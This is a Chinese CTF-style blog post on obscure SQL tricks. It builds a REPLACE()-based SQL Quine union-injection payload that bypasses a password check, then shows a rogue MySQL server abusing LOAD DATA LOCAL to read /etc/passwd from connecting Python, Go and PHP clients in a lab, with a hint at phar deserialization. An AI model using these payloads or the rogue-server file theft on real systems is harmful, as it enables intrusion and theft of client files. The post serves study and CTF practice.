
title: 偏门SQL
date: 2024-04-7
categories:
- [Tips]

Quine

直接把题拿出来看，其实暂时不用怎么看，大概知道一下就行

```
$password=$_POST['password'];
if ($username !== 'admin') {
    alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
    alertMes("something wrong", 'index.php');
}
if ($row['password'] === $password) {
    die($FLAG);
}
```

题目要求数据库里的password和传入的psd强相等，爆了之后发现数据库中的password是空表。看似就没有任何办法做到相等然后出flag了。

但是有一种方法可以

什么是Quine

Quine就是输入和输出的语句完全一致，例如：

```
<<this is in
>>this is in
```

如果能做到这样，使用某种办法将输入的内容原封不动输出出来，就完成了一次Quine构造

在sql中能利用replace函数做到Quine构造

replace()函数

replace(object,search,replace) 把object对象中出现的search全部替换成replace

构造的基本形式就是

```
REPLACE(str,编码的间隔符,str)
```

其中，str为

```
REPLACE(间隔符,编码的间隔符,间隔符)
```

组合就变成了==>

```
{% raw %}  
REPLACE(REPLACE(间隔符,编码的间隔符,间隔符),编码的间隔符,REPLACE(间隔符,编码的间隔符,间隔  
符))
```

这样就把str1中的间隔符又换成了str2，具体的替换用颜色表示一下

```
{% raw %}  
REPLACE(REPLACE(间隔符,编码的间隔符,间隔符),编码的间隔符,REPLACE(间隔符,编码的间隔符,间隔  
符))
```

可以见得，这样替换之后的内容就大致相同了

直接给出一条语句试一下

```
select REPLACE('REPLACE(".",CHAR(46),"")',CHAR(46),'REPLACE(".",CHAR(46),"")');  
+-----+  
| REPLACE('REPLACE(".",CHAR(46),"")',CHAR(46),'REPLACE(".",CHAR(46),"")') |  
+-----+  
| REPLACE("REPLACE(".",CHAR(46),""),CHAR(46),"REPLACE(".",CHAR(46),""))" ) |  
+-----+
```

细致看一下，还是有单双引号的区别。不能一直用双引号“”，会导致异常闭合，所以得单引号里嵌套双引号。

```
Quine: REPLACE('str',编码的间隔符,'str')  
str: REPLACE("间隔符",编码的间隔符,"间隔符")
```

运算后的结果是 REPLACE("str",编码的间隔符,"str")，所以让结果的str也用单引号包裹就能让输入和查询结果完全一致了

那要如何解决但双引号不一致的问题呢？很简单，再replace一下就好了。 CHAR(34)->”， CHAR(39)->'

```
Quine:REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')  
str:REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")
```

实际上是先将str里的双引号替换成单引号，再用str替换str里的间隔符

```

select
replace(replace(replace(".",char(34),char(39)),char(46),"."),char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+-----+
-----+
|
replace(replace(replace(".",char(34),char(39)),char(46),"."),char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")) |
+-----+
-----+
|
replace(replace(replace(replace(".",char(34),char(39)),char(46),"."),char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")) |
+-----+
-----+

```

再从payload理解为什么要用Quine

第五空间智能安全大赛-Web-yet_another_mysql_injection

```

$password=$_POST['password'];
if ($username !== 'admin') {
    alertMes('only admin can login', 'index.php');
}
checksql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
    alertMes("something wrong", 'index.php');
}
if ($row['password'] === $password) {
    die($FLAG);
}

```

waf封了空格，直接用内联就行了。这里为了方便看就用回空格

```

1' union select replace(replace('1" union select
replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select
replace(replace(".",char(34),char(39)),char(46),".")#')#
组合sql语句就是：
SELECT password FROM users WHERE username='admin' and password='1' union select
replace(replace('1" union select
replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select
replace(replace(".",char(34),char(39)),char(46),".")#')#';

```

这时候，由于使用的是联合注入，当前文报错，就会回显后面的

```
1' union select replace(replace('1" union select  
replace(replace(".",char(34),char(39)),char(46),"")#',char(34),char(39)),char(46),'1" union select  
replace(replace(".",char(34),char(39)),char(46),"")#');
```

这就让 `$row['password']` 等于了这一串，而这一串刚好和输入的 `$psw` 相等，完成了绕过

Load DATA

其实在打比赛的时候经常拿到数据库之后经常就会尝试直接读文件，这个时候用的一般都是 `load_file` 这个函数

例如

```
select load_file('/etc/hosts');
```

```
MariaDB [(none)]> select load_file('/etc/hosts');
+-----+
| load_file('/etc/hosts') |
+-----+
| 127.0.0.1    localhost
127.0.1.1      kali
::1            localhost ip6-localhost ip6-loopback
ff02::1        ip6-allnodes
ff02::2        ip6-allrouters
|
+-----+
1 row in set (0.000 sec)
```

但是当 `load_file` 这个函数被ban的时候，还有 `LOAD DATA` 可以用

```
LOAD DATA INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY '\n';
```

```
MariaDB [test]> LOAD DATA INFILE '/etc/hosts' INTO TABLE test FIELDS TERMINATED BY '\n';
Query OK, 5 rows affected (0.000 sec)
Records: 5 Deleted: 0 Skipped: 0 Warnings: 0

MariaDB [test]> select * from test;
+-----+
| test |
+-----+
| 127.0.0.1    localhost |
| 127.0.1.1      kali |
| ::1            localhost ip6-localhost ip6-loopback |
| ff02::1        ip6-allnodes |
| ff02::2        ip6-allrouters |
+-----+
5 rows in set (0.000 sec)
```

而参考 `LOAD DATA` 的用法，有一个关键词 `flag` 可以被使用

```
LOAD DATA
[LOW_PRIORITY | CONCURRENT] [LOCAL]
INFILE 'file_name'
```

就是这个 `LOCAL`

当在客户端(windows)连接到服务端(kali)时，可以执行

```
LOAD DATA local INFILE "D:\\test.txt" INTO TABLE test FIELDS TERMINATED BY '\\n';
```

这样就实现了远程数据的传输，当然前提是客户端的权限足够

The screenshot shows the MySQL Workbench interface. At the top, there is a code editor window containing the SQL command:

```
1 LOAD DATA local INFILE "D:\\test.txt" INTO TABLE test FIELDS TERMINATED BY '\\n';
```

Below the code editor is a query results grid. The first row of the grid shows the executed command and its result:

信息	信息
LOAD DATA local INFILE "D:\\test.txt" INTO TABLE test FIELDS TERMINATED BY '\\n'	Affected rows: 1

Underneath the grid, the MySQL Workbench toolbar and database tree are visible. The database tree shows a single entry named 'test'.

先看最基础的mysql握手

```
mysql -uroot -p --host=127.0.0.1 --port=3306 --default-character-set=utf8 --local-infile=1
```

No.	Time	Source	Destination	Protocol	Length	Info
1	2020-06-01 12:00:00	127.0.0.1	127.0.0.1	TCP	74	53632 → 3306 [SYN] Seq=0 Win=33280 Len=0 MSS=65495 SACK_PERM TSeqval=1639249272 TSeqrc=0 WS=128
2	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	TCP	74	3306 → 53632 [SYN, ACK] Seq=0 Ack=1 Win=33280 Len=0 MSS=65495 SACK_PERM TSeqval=1639249272 TSeqrc=1639249272 WS=128
3	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	TCP	66	53632 → 3306 [ACK] Seq=1 Ack=1 Win=33280 Len=0 TSeqval=1639249272 TSeqrc=1639249272
4	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	MySQL	161	[Server Greeting] proto=10 version=10.11.6 MariaDB=0
5	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	TCP	66	53632 → 3306 [ACK] Seq=1 Ack=96 Win=33280 Len=0 TSeqval=1639249272 TSeqrc=1639249272
6	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	MySQL	278	Login Request user=root
7	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	TCP	66	3306 → 53632 [ACK] Seq=96 Ack=213 Win=33152 Len=0 TSeqval=1639249272 TSeqrc=1639249272
8	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	MySQL	77	Response OK
9	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	MySQL	103	Request Query
10	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	MySQL	149	Response TABULAR Response
11	2020-06-01 12:00:01	127.0.0.1	127.0.0.1	TCP	66	53632 → 3306 [ACK] Seq=259 Ack=190 Win=33288 Len=0 TSeqval=1639249315 TSeqrc=1639249274

```
> Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
> [Timestamps]
[SEQ/ACK analysis]
TCP payload (95 bytes)
[PODU Size: 95]

MySQL Protocol
Packet Length: 91
Packet Number: 0
Server Greeting
Protocol: 10
Version: 5.5.5-10.11.6-MariaDB-2
Thread ID: 40
Salt: (Y1KvGg
Server Capabilities: 0xf7fe
Server Language: utf8mb4 COLLATE utf8mb4_general_ci (45)
Server Status: 0x0002
Extended Server Capabilities: 0x81ff
Authentication Plugin Length: 21
Unused: 000000000000
MariaDB Extended Server Capabilities: 0x0000001d
Salt: TlNJKu-zF.P(u
Authentication Plugin: mysql_native_password

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 08 .....E
0010 00 93 1c 58 49 00 00 40 06 28 03 7f 00 00 01 74 08 .....X@_
0020 00 01 0c ea d1 80 76 16 d8 18 1d fc b7 87 00 18 .....a-xa
0030 01 04 fe 87 00 00 01 01 08 0a 61 b4 f5 78 61 b4 .....[...-5,5-10
0040 f5 78 50 00 00 00 00 01 35 2e 35 2d 31 30 2e .....x[...-5,5-10
0050 31 31 2e 36 2d 4d 61 72 69 61 44 42 2d 32 00 28 11.6-Mar iaDB-2-(...
0060 00 00 28 59 69 25 76 49 47 67 00 fe f7 2d 02 .....(Y1%_IG-
0070 00 ff 81 15 00 00 00 00 00 00 1d 00 00 00 54 44 .....TN
0080 6a 4b 75 2d 7a 46 2e 50 28 75 00 6d 79 73 71 6c jKu-zF.P(u mysql
0090 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64 _native_password
00a0 00
```

前面就是基本的握手，但是在9-10条中间穿插了一个查询

```
lamaridiadb.pid.207311._client_version.3.3.8 _platform.x86_64.program_name.mysql._server_host 127.0.0.1.....!....select @@version_comment limit 1.....(....def....  
@version_comment.....  
Debian n/a.....
```

按理来说这是十分安全的沟通协议，但是参考[Security Considerations for LOAD DATA LOCAL](#)

rather than the file named in the statement. Such a server could access any file on the client host to which the client user has read access. (A [patched server could in fact reply with a file-transfer request to any statement](#), not just `LOAD DATA LOCAL`, so a more fundamental issue is that clients should not connect to untrusted servers.)

也就是说，patch之后的服务器可以向任何语句穿插文件请求，只要是客户端开启了 local-infile 的权限

这也是为什么先前的连接语句中指定了`--local-infile=1`

对于原本正常的握手流程应该是(前三次TCP握手忽略):

服务端	客户端
ServerGreeting(协议、服务器版本等)->	
	<-Login(密码, 是否允许LOAD等参数)
OK->	
	<-RequestQuery查询
Response查询结果->	

我们可以构造一个恶意服务端，在返回查询结果前向客户端要求LOAD DATA LOCAL

服务端	客户端
Server Greeting(协议、服务器版本等)->	
	<-Login(密码，是否允许LOAD等参数)
OK->	

服务端	客户端
	<-Request Query查询
LOAD DATA LOCAL->	
	<-查询结果

No.	Time	Source	Destination	Protocol	Length	Info
6	1.226558495	192.168.2.3	192.168.2.17	MySQL	142	Server Greeting proto=10 version=5.0.2
8	1.226758245	192.168.2.17	192.168.2.3	MySQL	138	Login Request user=root
11	1.227008420	192.168.2.3	192.168.2.17	MySQL	77	Response OK
14	1.227239315	192.168.2.17	192.168.2.3	MySQL	103	Request Query
16	1.227462436	192.168.2.3	192.168.2.17	MySQL	82	Response LOCAL INFILE
19	1.227649891	192.168.2.17	192.168.2.3	MySQL	3011	Request LOCAL INFILE PayloadRequest
23	1.227927641	192.168.2.3	192.168.2.17	MySQL	77	Response OK

> Frame 16: 82 bytes on wire (656 bits), 82 bytes captured (656 bits) on interface eth0, id 0

> Ethernet II, Src: VMware_aa:a3:1d (00:0c:29:aa:a3:1d), Dst: VMware_c2:1b:05 (00:0c:29:c2:1b:05)

> Internet Protocol Version 4, Src: 192.168.2.3, Dst: 192.168.2.17

> Transmission Control Protocol, Src Port: 3306, Dst Port: 53594, Seq: 88, Ack: 102, Len: 16

> MySQL Protocol - local infile

0000 00 0c 29 c2 1b 05 00 0c 29 aa a3 1d 08 00 45 00 ..).....).....E..

0010 00 44 ad a1 40 00 40 06 07 ae c8 a8 02 03 c0 a8 D:@@.....

0020 02 11 0c ea d1 5a 9e ef ab 52 f8 e8 76 2a 80 18Z...R..v*..

0030 00 f9 85 9b 00 00 01 01 08 0a e6 41 f6 a5 ab f9A.....

0040 40 6b 0c 00 00 01 fb 2f 65 74 63 2f 70 61 73 73 @k...../ etc/passwd

0050 77 64 wd

可以看到，在客户端主动发送了版本号等查询后，服务端没有返回，而是接着发起了一个LOCAL INFILE的查询

而客户端也没有主要索要上一次查询的结果，就将服务端请求的查询处理并返回了

其实利用的点并不难，甚至可以说是mysql的一个特性。网上也大把现成[poc](#)，主要是利用的版本非常全面

但要注意的就是高版本之后默认使用的字符集为utf8mb4，需要手动修改为utf8

```
mysql -uroot -p --host=127.0.0.1 --port=3306 --default-character-set=utf8 --local-infile=1
```

在各个平台都是通用的，区别是需要各自配置LOCAL_INFILE权限

python:

```
import mysql.connector

config = {
    'user': 'root',
    'password': 'password',
    'host': '192.168.2.3',
    'port': '3306',
    'charset': 'utf8',
    'auth_plugin': 'mysql_native_password'
}

conn = mysql.connector.connect(**config)
```

```
(py36) [~] (py36)-(kali㉿kali)-[~/Desktop/ctf_tools/MySQL_Fake_Server]
$ python server.py
Error: Unable to access jarfile yoserial-0.0.6-SNAPSHOT-all.jar
=====
MySQL Fake Server
Author:fmsd(https://blog.csdn.net/fmsd)
Load 7 Fileread usernames :[b'win_ini', b'win_hosts', b'win', b'linux_passwd', b'win_ntlm', b'win_ntlmv2', b'win_ntlmv2_lm']
Load 1 yso usernames :[b'Jdk7u21']
Load 1 Default Files :[b'/etc/passwd']
Start Server at port 3306
Incoming Connection:('192.168.2.17', 54272)
Login Username:root
<= 3
Start Reading File:/etc/passwd
reading file:/etc/passwd
=====File Content Preview=====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/no
systemd-resolve:x:101:103:systemd Re
=====File Content Preview End=====
Save to File:/fileOutput//192.168.2.17__1712824212__etc_passwd
<= 3
Start Reading File:/etc/passwd
reading file:/etc/passwd
=====File Content Preview=====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
```

go:

```
package main

import (
    "database/sql"
    "fmt"
    "github.com/go-sql-driver/mysql"
)

func main() {
    cfg := mysql.Config{
        User:                 "root",
        Passwd:               "1234",
        Net:                  "tcp",
        Addr:                 "192.168.2.3:3306",
        DBName:                "test",
        Collation:             "utf8_general_ci",
        AllowAllFiles:         true,
        AllowCleartextPasswords: true,
        CheckConnLiveness:     true,
    }
    db, err := sql.Open("mysql", cfg.FormatDSN())
    if err != nil {
        panic(err.Error())
    }
    if err := db.Ping(); err != nil {
        fmt.Println("open database fail")
        fmt.Println(err)
        return
    }
    fmt.Println("connnect success")
    defer db.Close()
}
```

```
(py36) [~] (py36)-(kali㉿kali)-[~/Desktop/ctf_tools/MySQL_Fake_Server]
└─$ python server.py
Error: Unable to access jarfile yoserial-0.0.6-SNAPSHOT-all.jar
=====
MySQL Fake Server
Author:fnmsd(https://blog.csdn.net/fnmsd)
Load 7 Fileread usernames :b'win_ini', b'win_hosts', b'win', b'linux_passwd',
Load 1 yso usernames :[b'Jdk7u21']
Load 1 Default Files :[b'/etc/passwd']
Start Server at port 3306
Incoming Connection:('192.168.2.17', 49356)
Login Username:root
<= 3
Start Reading File:/etc/passwd
reading file:/etc/passwd
=====File Content Preview=====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/
systemd-resolve:x:101:103:systemd Re
=====File Content Preview End=====
Save to File:./fileOutput/192.168.2.17_1712828266__etc_passwd
[]
```

php:

```
<?php
$servername = "192.168.2.3";
$username = "root";
$password = "123456";
$dbname = "test";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
$conn->set_charset("utf8");
$conn->options(MYSQLI_OPT_LOCAL_INFILE, true);
$sql = "show tables;";
if ($conn->query($sql) === TRUE) {
    echo "Data loaded successfully";
} else {
    echo "Error loading data: " . $conn->error;
}
$conn->close();
?>
```

```

Author:fmsd(https://blog.csdn.net/fmsd)
Load 7 Fileread usernames:[b'win_ini', b'win_hosts', b'win', b'linux_passwd', b'linux_hosts', b'index_php', b'ssrf']
Load 1 vso usernames:[b'Jdk7zi1']
Load 1 Default Files:[b'/etc/passwd']
Start Server at port 3386
Incoming Connection:('192.168.2.17', 53596)
Login Username:root
<= 3
Start Reading File:/etc/passwd
reading file:/etc/passwd
Nothing had been read
<= 3
Start Reading File:/etc/passwd
reading file:/etc/passwd
=====File Content Preview=====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/nologin
sys:x:3:3:sys:/dev:/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lwp:x:7:7:lwp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/
systemd-resolve:x:101:103:systemd Re
=====File Content Preview End=====
Save to File:./fileOutput/192.168.2.17_1712827701_etc_passwd
<= 1
Start Reading File:/etc/passwd
reading file:/etc/passwd
ERROR:asyncio:Task exception was never retrieved
Future: <task finished coro=<start_mysql_server.<locals>.cb() done, defined at /home/kali/.pyenv/versions/3.6.15/lib/python3.6/asyncio/coroutines.py:210> exception=RuntimeError()
Traceback (most recent call last):
  File "/home/kali/.pyenv/versions/3.6.15/lib/python3.6/asyncio/coroutines.py", line 215, in coro
    res = yield from res
  File "server.py", line 116, in handle_server
    yield from process_fileread(server_reader, server_writer,random.choice(defaultFiles))
  File "server.py", line 34, in process_fileread
    fileData = (yield from packet.read())
  File "/home/kali/Desktop/ctf_tools/MySQL_Fake_Server/mysqlproto/protocol/__init__.py", line 61, in read
    self._check_lead(data)
  File "/home/kali/Desktop/ctf_tools/MySQL_Fake_Server/mysqlproto/protocol/__init__.py", line 40, in _check_lead
    raise RuntimeError
RuntimeError

```

然而在php中远不止读文件这一个点可以打，甚至可以结合phar反序列化

index.php:

```

<?php
class A{
    public function __wakeup(){
        echo "wake";
    }
}
$servername = "192.168.2.3";
$username = "root";
$password = "123456";
$dbname = "test";
$conn = new mysqli($servername, $username, $password, $dbname);
$conn->set_charset("utf8");
$conn->options(MYSQLI_OPT_LOCAL_INFILE, true);
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
$sql = "show tables;";
if ($conn->query($sql) === TRUE) {
    echo "Data loaded successfully";
} else {
    echo "Error loading data: " . $conn->error;
}
$conn->close();
?>

```

在读取文件里写死 `phar://./phar.phar`，在服务端读取 `phar://./phar.phar` 就类似于 `file_get_content`，直接反序列化执行